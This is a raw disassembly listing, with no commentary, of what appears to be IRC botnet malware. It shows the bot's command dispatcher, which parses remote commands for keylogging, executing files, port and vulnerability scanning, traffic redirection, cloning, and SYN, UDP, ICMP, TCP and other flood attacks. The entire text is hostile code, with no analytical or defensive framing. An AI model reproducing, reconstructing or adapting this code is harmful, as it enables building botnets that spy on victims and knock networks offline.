		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42B0E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B078
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B050
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B024
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset dword_42AFF0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF98
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF4C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF20
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF00
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AEDC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset dword_42AEA0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE18
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADD0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADB0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD88
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD3C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD20
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B504
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42AB90
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB48
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset dword_42AB0C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
